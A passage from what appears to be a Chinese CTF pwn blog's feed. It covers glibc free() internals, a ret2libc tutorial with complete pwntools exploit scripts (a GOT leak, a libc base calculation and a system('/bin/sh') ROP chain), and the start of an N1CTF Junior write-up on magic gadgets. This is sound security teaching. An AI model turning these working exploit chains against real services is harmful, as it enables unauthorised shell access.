         因为 Unsorted Bin 不使用 fd_nextsize 链表。 */
      if (!in_smallbin_range(size))
        {
          p-&amp;gt;fd_nextsize = NULL;
          p-&amp;gt;bk_nextsize = NULL;
        }

      /* 更新链表指针，完成“插队” */
      bck-&amp;gt;fd = p;
      fwd-&amp;gt;bk = p;

      /* 设置当前块的 Header。
         注意：由于 p 刚释放进入 Unsorted Bin，它物理上的前一个块肯定是在用状态，
         所以 size 字段要或上 PREV_INUSE (P位)。 */
      set_head(p, size | PREV_INUSE);
      /* 设置脚部（Foot），方便下一个块寻找它的前任 */
      set_foot(p, size);

      check_free_chunk(av, p);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;并入Top chunk&lt;/h3&gt;
&lt;p&gt;如果这个chunk的后一个chunk是top chunk，将其合并至top chunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/*
      如果该 chunk 紧邻当前内存的高端边界（即 Top Chunk 的边界），
      则将其合并到 top chunk 中。
    */

    else {
      /* 将当前块的大小累加到 Top Chunk 中 */
      size += nextsize;
      /* 更新新的 Top Chunk 的起始位置（即当前的 p）及其 Header */
      set_head(p, size | PREV_INUSE);
      av-&amp;gt;top = p;
      check_chunk(av, p);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;结尾收工&lt;/h3&gt;
&lt;p&gt;如果说前面的逻辑是在做“局部垃圾分类与回收”，那么这一段就是在做“全局资产盘点与下放”&lt;strong&gt;。当释放的内存达到一定规模时，&lt;code&gt;malloc&lt;/code&gt; 会评估是否需要把多余的内存真正还给操作系统。&lt;/strong&gt;
1.触发“全局大合并” (Consolidation)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 如果释放的空间很大，则合并可能环绕的 chunks。
    然后，如果最顶端（Top Chunk）的未使用内存超过了 trim 阈值，
    则调用 malloc_trim 来缩小 Top。
  */

  /* 如果当前释放的 size &amp;gt;= 64KB (FASTBIN_CONSOLIDATION_THRESHOLD) */
  if ((unsigned long)(size) &amp;gt;= FASTBIN_CONSOLIDATION_THRESHOLD) {
    /* 检查是否有 Fastchunks，如果有，强制进行全局合并。
       为什么要在这里合并？因为 Fastbins 中的块不会主动合并。
       如果有一些 Fastbins 挡在 Top Chunk 的边界上，Top Chunk 就没法收缩。
       这是一个“顺便扫除”的机制。 */
    if (have_fastchunks(av))
      malloc_consolidate(av);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.向操作系统归还内存 (Trimming)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 如果是主分配区 (Main Arena，即进程的标准堆区域) */
    if (av == &amp;amp;main_arena) {
#ifndef MORECORE_CANNOT_TRIM
      /* 如果 Top Chunk 的大小超过了收缩阈值 (mp_.trim_threshold，默认 128KB) */
      if ((unsigned long)(chunksize(av-&amp;gt;top)) &amp;gt;=
          (unsigned long)(mp_.trim_threshold))
        /* 调用 systrim。它会通过 sbrk(-n) 告诉内核：这块地我不用了，还给你。 */
        systrim(mp_.top_pad, av);
#endif
    } else {
      /* 如果是非主分配区（子线程申请的私有堆空间） */
      /* 获取 Top Chunk 所在的那个 sub-heap 结构体 */
      heap_info *heap = heap_for_ptr(top(av));

      assert(heap-&amp;gt;ar_ptr == av);
      /* 调用 heap_trim。如果一个 sub-heap 全空了，它甚至会直接 munmap 掉整个 heap。 */
      heap_trim(heap, mp_.top_pad);
    }
  }

  /* 解锁 */
  if (! have_lock) {
    assert (locked);
    (void)mutex_unlock(&amp;amp;av-&amp;gt;mutex);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.兜底逻辑：&lt;code&gt;munmap&lt;/code&gt; 块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 如果该块是最初通过 mmap 分配的（即超大内存申请），直接通过系统调用释放。 */
  else {
    munmap_chunk (p);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;总结与碎碎念&lt;/h1&gt;
&lt;p&gt;至此我们已经基本学习完堆的基础知识了，从chunk的结构定义，到malloc的分配逻辑，再到free的回收逻辑。下一篇博客应该就是堆的攻击手法的学习了
这篇博客参考了华庭师傅的《Glibc 内存管理 Ptmalloc2 源代码分析》
感谢华庭师傅写的这篇文章&lt;/p&gt;
</content:encoded></item><item><title>The First!</title><link>https://weirsu.github.io/posts/hello-world/</link><guid isPermaLink="true">https://weirsu.github.io/posts/hello-world/</guid><description>hello world！</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Hello World!&lt;/h1&gt;
&lt;p&gt;终于把博客搭好了！&lt;/p&gt;
&lt;p&gt;这里是&lt;strong&gt;Weir_Su&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;CTF Pwn 题解&lt;/li&gt;
&lt;li&gt;Pwn学习笔记&lt;/li&gt;
&lt;li&gt;生活碎碎念（可能有？）&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>ret2libc的学习笔记</title><link>https://weirsu.github.io/posts/stackret2libc/ret2libc/</link><guid isPermaLink="true">https://weirsu.github.io/posts/stackret2libc/ret2libc/</guid><description>What is ret2libc?</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;retlibc&lt;/strong&gt;是可能初学者遇到的第一个坎？不难，但是如果不理解动态链接和延迟绑定就难以理解为什么要这么做。
这篇笔记比较简单，具体的动态链接和延迟绑定我们放在ret2dlresolve中再来说明&lt;/p&gt;
&lt;h1&gt;问题的提出&lt;/h1&gt;
&lt;p&gt;我们来看这样一道题
题目来源:https://buuoj.cn/challenges#jarvisoj_level3_x64&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ret2libc.assets/image-20260111221934866.png&quot; alt=&quot;image-20260111221934866&quot; /&gt;&lt;/p&gt;
&lt;p&gt;main函数东西，我们来看vulnerable_function函数，buf大小为0x80字节，而我们可以读入0x200字节，这里有很大的覆盖空间可供我们操作。
但这题与之前的题有所不同，可以发现，这题没有system函数，也没有/bin/sh字符串，那么我们该怎么解决呢？&lt;/p&gt;
&lt;h1&gt;解决方法&lt;/h1&gt;
&lt;p&gt;重新思考我们目的，我们的最终目的就是为了得到靶机上的flag，所以我们才想着去getshell从而查看flag文件，所以我们的目标是执行system(&apos;/bin/sh&apos;)，从而拿shell&lt;/p&gt;
&lt;p&gt;但是，这里没有system，也没有&apos;/bin/sh&apos;，难道我们就不能拿shell了？不，仿照之前传参的想法，既然没有system(&apos;/bin/sh&apos;)，我们就不能找一个，或者说构造一个了吗？答案是可以的，这就是我们说的ret2libc&lt;/p&gt;
&lt;h2&gt;动态链接与静态编译(链接)&lt;/h2&gt;
&lt;p&gt;简单来说，&lt;strong&gt;静态链接就是将多个目标文件，链接并复制静态库中的函数与数据，直接一并压缩打包在同一个可执行文件中&lt;/strong&gt;。随着系统中可执行文件的增加，静态链接带来的硬盘和内存空间浪费问题愈发严重，静态链接库会被重复链接整合到可执行文件中，不同静态链接的可执行文件所包含的两个相同库也会被同时装载进去。特别地，如果对标准库函数做了微小改动，都需要重新编译整个源文件，使得开发和维护更为艰难。&lt;/p&gt;
&lt;p&gt;如果不把系统库和自己编写的代码链接到一个可执行文件，而是&lt;strong&gt;分割成两个独立的模块，等到程序真正运行时，再把这两个模块进行链接&lt;/strong&gt;，就可以节省硬盘空间，并且虚拟内存中的一个系统库可以被多个程序共同使用，还节省了物理内存空间。这种在运行或加载时，在内存中完成链接的过程叫作&lt;strong&gt;动态链接&lt;/strong&gt;。用于动态链接的系统库称为&lt;strong&gt;共享库&lt;/strong&gt;（&lt;em&gt;shared libraries&lt;/em&gt;），整个过程由动态链接器完成。&lt;/p&gt;
&lt;p&gt;那么ret2libc到底是什么？我们先从程序说起，cpu只能执行指令集里面的操作，只能理解机器码，而汇编语言是一种助记符，帮助人们记忆机器语言。注意，cpu的指令集里是没有read,write等等各种函数的，这些函数的底层都是由许多条汇编指令构成的，那么这些函数是在哪里被定义的？简单的说，这些函数都是在一个叫libc文件里被定义的，这是一个库文件，里面存放的是程序运行时用到的函数等。程序运行时，libc文件也会被加载到内存里
&lt;img src=&quot;ret2libc.assets/file-20260112215421407.png&quot; alt=&quot;&quot; /&gt;
在gdb里我们可以看到，程序运行时，会将所用到的库文件一同加载到内存中。&lt;/p&gt;
&lt;p&gt;由于系统是将整个文件映射到内存中，那么所有的库函数都会在内存里，一旦我们知道了函数的地址，跳转过去就可以运行函数了
而函数的地址是有一定规则生成的，由于ASLR(地址随机化)的保护，库函数的地址是由系统随机分配的一个基址加上偏移构成的
&lt;img src=&quot;ret2libc.assets/file-20260112221214258.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们在ida里打开一个libc.so.6文件，可以看到每个函数，或者说汇编代码，它的位置是固定的，不会改变的，我们把这个数值叫做偏移
也就是说，只要我知道了此时的libc库的基址，就知道了所有libc库函数的地址。
回到最开始的问题，我们便有了思路，如果我们能知道此时libc的基址，就能知道system函数的地址，而且，libc里面也是有&apos;/bin/sh&apos;字符串的，所以就能构造出system(&apos;/bin/sh&apos;)了&lt;/p&gt;
&lt;p&gt;那么libc基址如何泄漏呢？&lt;/p&gt;
&lt;h2&gt;延迟绑定&lt;/h2&gt;
&lt;p&gt;假设一个函数用到了很多的外部库函数，那么如果每次运行时首先先去定位函数的地址，那么程序在开始时就会花费很多时间，对此，人们提出的解决方法就是延迟绑定
简单的说，就是只有当要用到这个函数的时候，才去定位这个函数在内存中的真实地址
这里就要用到两个东西，plt表和got表&lt;/p&gt;
&lt;p&gt;ELF 文件通过&lt;strong&gt;过程链接表&lt;/strong&gt;（&lt;em&gt;Procedure Linkage Table, PLT&lt;/em&gt;）和 GOT 的配合来实现延迟绑定，每个被调用的库函数均有一组对应的 PLT 和 GOT。GOT 属于纯数据结构，只存储地址；而 PLT 则属于代码逻辑，负责处理复杂的动态解析流程，避免污染 GOT。
简单的说，plt表是用来进行逻辑处理和解析定位地址的，而got表就是一个纯粹的数组，用来存放真实的地址&lt;/p&gt;
&lt;p&gt;当程序第一次需要运行某个函数时，比方说我们在ida看到call printf，首先会去到程序的plt表，然后去到对应函数的got表处存放的地址，由于一开始got表处没有函数的真实地址，它一开始存放的是plt表的开头处，然后跳到开头处后会解析定位函数所对应的真实地址，并将其填充到got表上，然后将控制权移交给函数。
当第二次要用到函数时，还是先去plt表，此时got表上有函数的真实地址了，于是就直接去到函数的真实地址处开始执行了
&lt;img src=&quot;ret2libc.assets/file-20260112223308230.png&quot; alt=&quot;&quot; /&gt;
现在，我们知道了got表会存放函数的真实地址，那么我们只需用输出函数打印出某个函数的真实地址，接收后减去对应的偏移，我们就得到了基址了，pwntools里提供了很多函数供我们来完成
现在我们的基本思路是，泄露libc基址，计算出system和/bin/sh的地址，构造payload发送即可&lt;/p&gt;
&lt;h1&gt;解决问题&lt;/h1&gt;
&lt;p&gt;基本的思路有了，我们来解决这道题
&lt;img src=&quot;ret2libc.assets/file-20260112224339432.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;ret2libc.assets/file-20260112224427889.png&quot; alt=&quot;&quot; /&gt;
这里我们只能选用write作为输出函数，read(0, buf, 0x200u) 已经帮我们设置好了rdx寄存器，我们只需要控制rdi,rsi即可。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
p=process(&apos;./pwn&apos;)
context.arch=&apos;amd64&apos;
elf=ELF(&apos;./pwn&apos;) #我们习惯用小写的elf作为变量表示程序，大写的ELF是一个pwntools的函数，其作用是加载elf文件
libc=ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;) #由于是在本地跑，我这里选择本地的libc，如果打远端，要加载远端的libc，在终端输入ldd (文件名) 会显示程序依赖的libc库的路径
&apos;&apos;&apos;如果题目给了libc文件，可以写成libc=ELF(&apos;./libc.so.6&apos;)&apos;&apos;&apos;
pop_rdi_ret=0x4006b3  
pop_rsi_r15=0x4006b1  
payload=flat(  
    b&apos;a&apos;*0x80,
    0x600CC8,
    pop_rdi_ret, 
    1,
    pop_rsi_r15,
    elf.got[&apos;write&apos;], #很好理解，pwntools会自动解析成elf文件中write函数的got表的地址
    0,
    elf.plt[&apos;write&apos;],#plt表的地址
    0x40061A,#main函数的地址
)  
p.send(payload)
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们来运行下这个脚本，看看会输出什么
&lt;img src=&quot;ret2libc.assets/file-20260112225818153.png&quot; alt=&quot;&quot; /&gt;
64位程序的地址是8字节，但是其高两字节是空的，或者说是由\x00填充的，其真正有效字节为6字节，我们一般只需要接收6字节即可。这里这么多\x00是因为write要输出200字节，但是没这么多内容输出，于是就用的\x00填充
pwntools里有很多接收函数，如recv,recvn,recvline，具体用法自行ai
这里注意的是，用pwntools的函数接收会从一开始的输出接收，也就是说，这里首先我们要“过滤”掉‘Input:’&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
p=process(&apos;./pwn&apos;)
context.arch=&apos;amd64&apos;
elf=ELF(&apos;./pwn&apos;) #我们习惯用小写的elf作为变量表示程序，大写的ELF是一个pwntools的函数，其作用是加载elf文件
libc=ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;) #由于是在本地跑，我这里选择本地的libc，如果打远端，要加载远端的libc，在终端输入ldd (文件名) 会显示程序依赖的libc库的路径
pop_rdi_ret=0x4006b3  
pop_rsi_r15=0x4006b1  
payload=flat(  
    b&apos;a&apos;*0x80,
    0x600CC8,
    pop_rdi_ret, 
    1,
    pop_rsi_r15,
    elf.got[&apos;write&apos;], #很好理解，pwntools会自动解析成elf文件中write函数的got表的地址
    0,
    elf.plt[&apos;write&apos;],#plt表的地址
    0x40061A,#main函数的地址
)  
p.send(payload)
p.recvline().strip()  
raw=p.recvn(6)  
leak_addr=int.from_bytes(raw,&apos;little&apos;)  #推荐使用int.from_bytes来转换而不是u64
success(hex(leak_addr))  #在屏幕上输出地址
libc_addr=leak_addr - libc.symbols[&apos;write&apos;]  #得到libc基址
success(hex(libc_addr))  
system_addr=libc_addr + libc.symbols[&apos;system&apos;]  
binsh_addr=libc_addr + next(libc.search(b&apos;/bin/sh\x00&apos;)) #在libc中寻找&apos;/bin/sh\x00&apos;字符串
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们来看下运行结果
&lt;img src=&quot;ret2libc.assets/file-20260113213112909.png&quot; alt=&quot;&quot; /&gt;
正确的libc基址后三位一定是0，当然后5位是0也是正确的libc基址，但凡你的libc基址的后3位不是0，说明这个地址不是libc基址
现在我们有了system地址和/bin/sh地址，这又回到了我们之前的传参了，只是与以往不同，我们在payload放的是system的真实地址，而不是在程序中找的一个call system的地址
同理&apos;/bin/sh&apos;这个字符串也是我们在libc中找的，而不是用程序里的
下面给出完整的exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *  
p=process(&apos;./pwn&apos;)  
context.arch=&apos;amd64&apos;  
elf=ELF(&apos;./pwn&apos;)  
libc=ELF(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;)  
#
pop_rdi_ret=0x4006b3  
pop_rsi_r15=0x4006b1  
payload=flat(  
    b&apos;a&apos;*0x80,  
    0x600CC8,  
    pop_rdi_ret,  
    1,  
    pop_rsi_r15,  
    elf.got[&apos;write&apos;],  
    0,  
    elf.plt[&apos;write&apos;],  
    0x40061A,  
)  
p.sendline(payload)  
p.recvline().strip()  
raw=p.recvn(6)  
leak_addr=int.from_bytes(raw,&apos;little&apos;)  
success(hex(leak_addr))  
libc_addr=leak_addr - libc.symbols[&apos;write&apos;]  #这里的写法和用libcsearcher的写法不一样
success(hex(libc_addr))  
system_addr=libc_addr + libc.symbols[&apos;system&apos;]  
binsh_addr=libc_addr + next(libc.search(b&apos;/bin/sh\x00&apos;))  
ret=0x400499  
payload=flat(  
    b&apos;a&apos;*0x80,  
    0x600CC8,  
    pop_rdi_ret,  
    binsh_addr,  
    system_addr,  
)  
p.sendline(payload)  
p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;ret2libc.assets/file-20260113214105929.png&quot; alt=&quot;&quot; /&gt;
成功getshell&lt;/p&gt;
&lt;h1&gt;总结&lt;/h1&gt;
&lt;p&gt;ret2libc是一种重要的手法，因为libc里面有很多函数，一旦知道了libc基址，我们就知道了很多函数的地址，libc里面也有很多可用gadgets，这样我们几乎可以调用很多函数。后面我们遇到的很多题其实都是围绕着怎么泄露libc地址而进行的。当然，有些程序开启了沙箱，这是使得我们不能执行system(&apos;/bin/sh&apos;)来getshell，我们就需要通过其他的方法来获取flag，而这可能会需要很多函数的配合，而一旦我们知道了libc地址，就可以调用这些函数&lt;/p&gt;
&lt;h1&gt;Tips&lt;/h1&gt;
&lt;p&gt;不建议使用LibcSearcher， LibcSearcher的原理是用函数名+后三位的偏移去数据库查的，而大部分比赛都会给libc版本
即使没给，也不建议使用
推荐使用如下网站
https://libc.blukat.me/
https://libc.rip/
输入设置函数，输入函数的地址，网站会自动识别后三位并进行查找，可以分两次泄露不同函数的地址，再放到网站查询(即使不是同一次泄露也行，因为后三位的偏移是不会变的)
好处是由于LibcSearcher一次只用一个去寻找，因此有可能会查出很多种可能，而我们把libc下载到本地则避免了这种问题&lt;/p&gt;
</content:encoded></item><item><title>N1CTF Junior 2026 1_2 Pwn (部分)</title><link>https://weirsu.github.io/posts/n1_junior_2026_1_%E9%83%A8%E5%88%86wp/n1ctf_junior_2026_1_2_pwn/</link><guid isPermaLink="true">https://weirsu.github.io/posts/n1_junior_2026_1_%E9%83%A8%E5%88%86wp/n1ctf_junior_2026_1_2_pwn/</guid><description>自己还是太菜了</description><pubDate>Sun, 15 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Onlyfgets&lt;/h1&gt;
&lt;p&gt;看到网上大佬写的wp才知道原来12月份就有人发了原题的wp😅&lt;/p&gt;
&lt;p&gt;本文算是一个学习记录吧，写在这供学习
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210135008107.png&quot; alt=&quot;file-20260210135008107&quot; /&gt;
保护开个nx&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210112923767.png&quot; alt=&quot;&quot; /&gt;
main函数就一个调用fgets
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210113003924.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210113014347.png&quot; alt=&quot;&quot; /&gt;
这里有两个很奇怪的函数，明明没被main函数调用，为什么要写这两个函数呢？
我们来看汇编代码
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210133945500.png&quot; alt=&quot;&quot; /&gt;
注意这个汇编注释&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; DATA XREF: .init_array:0000000000403E10↓o
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这表明在地址 &lt;code&gt;0000000000403E10&lt;/code&gt;（位于 &lt;code&gt;.init_array&lt;/code&gt; 段内）存储了指向 &lt;code&gt;prison_realm_open&lt;/code&gt; 函数的指针
而程序运行时的入口函数并不是main函数，实际上是start函数
流程大致如下
流程大致如下：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;_start&lt;/code&gt;&lt;/strong&gt; (程序入口点)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;strong&gt;&lt;code&gt;__libc_start_main&lt;/code&gt;&lt;/strong&gt; (Glibc 的核心启动函数)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;__libc_start_main&lt;/code&gt; 内部调用 &lt;strong&gt;&lt;code&gt;__libc_csu_init&lt;/code&gt;&lt;/strong&gt; (作为 &lt;code&gt;init&lt;/code&gt; 参数传入)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;__libc_csu_init&lt;/code&gt;&lt;/strong&gt; (执行各种初始化)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;_init()&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;__init_array&lt;/code&gt; 中的所有函数&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;main&lt;/code&gt;&lt;/strong&gt; (用户的代码)
因此，这个prison_realm_open函数会在main函数调用之前执行
signal的原型是&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;typedef void (*sighandler_t)(int);

sighandler_t signal(int signum, sighandler_t handler);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是当进程收到第几号信号后去执行后面的这个函数
而第14号信号则是 alarm函数到时间后，内核会发出的信号
所以执行完prison_realm_open函数后就会关闭缓冲区，以及设置好一个计时器，60秒后程序会自动退出
现在我们来看看gadgets
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210135059588-1771143387138-1.png&quot; alt=&quot;&quot; /&gt;
只有pop rdi;ret
至此如何解题？看似很简单对吧？但是注意这里没有任何的输出函数供我们泄露libc基址，理论上可以打ret2dlresolve，但是据说这里打本地没问题，打docker和远端会出问题
所以我们得换一种方法
在ida中看程序，我们很容易会发现出题人留了一个异或rbx的gadgets给我们
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210154946767-1771143393628-3.png&quot; alt=&quot;&quot; /&gt;
这个有什么用呢？
这里学习到了一个新的技巧，叫magic gadgets
大部分ELF都有&lt;code&gt;__do_global_dtors_aux&lt;/code&gt;这个函数，对这条指令从中间进入可以解析为一个magic gadget
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210155333630-1771143396821-5.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210155741185-1771143399537-7.png&quot; alt=&quot;&quot; /&gt;
输入ROPgadgets --binary ./pwn 也可以寻找程序所有的gadgets
也是可以找到的，但不知道为什么ropper不行
&lt;img src=&quot;./N1CTF_Junior_2026_1_2_Pwn.assets/file-20260210155913290-1771143403983-9.png&quot; alt=&quot;&quot; /&gt;
即&lt;code&gt;add dword ptr [rbp - 0x3d], ebx ; nop ; ret&lt;/code&gt;这条指令
可以将ebx加到rbp-0x3d的地址处，乍一看这个gadgets不好用，rbp好控制，但是因为你得控制rbx才能达成半个任意地址写的功能，但是如果能结合ret2csu的gadgets就很好控制了
但是这里没有libc_csu_init函数，我们不好去控制rbx呀，那我们再去看看还有什么可供我们利用的gadgets
我们发现有这个gadgets：
`0x00000000004010ae : add bl, dh ; endbr64 ; ret
这会将rdx的高八位加到rbx的低8位上，结合我们的magic gadgets，我们可以做到一些可供我们利用的任意地址写
因为是partical relro，所以我们可以修改函数的got表储存的地址，来达到跳转&lt;/p&gt;
&lt;p&gt;这里是让&lt;strong&gt;ai&lt;/strong&gt;整理了一些相关知识&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;64位 (8-byte)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;32位 (4-byte)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;16位 (2-byte)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;8位 (高位)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;8位 (低位)&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;说明&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RAX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EAX&lt;/td&gt;
&lt;td&gt;AX&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;AL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;累加器 (常用于存储返回值)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RBX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EBX&lt;/td&gt;
&lt;td&gt;BX&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;BH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;BL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;基址寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RCX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ECX&lt;/td&gt;
&lt;td&gt;CX&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;CL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;计数器 (循环、移位)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RDX&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EDX&lt;/td&gt;
&lt;td&gt;DX&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;数据寄存器 (常用于 &lt;code&gt;syscall&lt;/code&gt; 参数)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RSI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ESI&lt;/td&gt;
&lt;td&gt;SI&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;SIL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;源变址寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RDI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EDI&lt;/td&gt;
&lt;td&gt;DI&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DIL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;目的变址寄存器 (第一个参数)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RBP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;EBP&lt;/td&gt;
&lt;td&gt;BP&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;BPL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;栈基址指针 (Stack Frame)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RSP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ESP&lt;/td&gt;
&lt;td&gt;SP&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;SPL&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;栈顶指针&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;R8&lt;/strong&gt; - &lt;strong&gt;R15&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;R8D - R15D&lt;/td&gt;
&lt;td&gt;R8W - R15W&lt;/td&gt;
&lt;td&gt;-&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;R8B&lt;/strong&gt; - &lt;strong&gt;R15B&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;64位新增扩展寄存器&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;高位清零特性 (Zero-extension)&lt;/strong&gt;： 在 64 位模式下，当你对 &lt;strong&gt;32 位&lt;/strong&gt;寄存器（如 &lt;code&gt;eax&lt;/code&gt;）进行赋值时，CPU 会自动将该 64 位寄存器（如 &lt;code&gt;rax&lt;/code&gt;）的&lt;strong&gt;高 32 位清零&lt;/strong&gt;。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：对 16 位（&lt;code&gt;ax&lt;/code&gt;）或 8 位（&lt;code&gt;al&lt;/code&gt;）进行操作时，&lt;strong&gt;不会&lt;/strong&gt;影响高位的值。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;AH/AL 与 SIL/DIL 的区别&lt;/strong&gt;： &lt;code&gt;ah&lt;/code&gt; 到 &lt;code&gt;dh&lt;/code&gt; 是传统的“高 8 位”寄存器。而对于 &lt;code&gt;rsi&lt;/code&gt;、&lt;code&gt;rdi&lt;/code&gt; 等寄存器，并没有对应的 &lt;code&gt;sih&lt;/code&gt;，只能通过 &lt;code&gt;sil&lt;/code&gt; (低 8 位) 进行访问。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
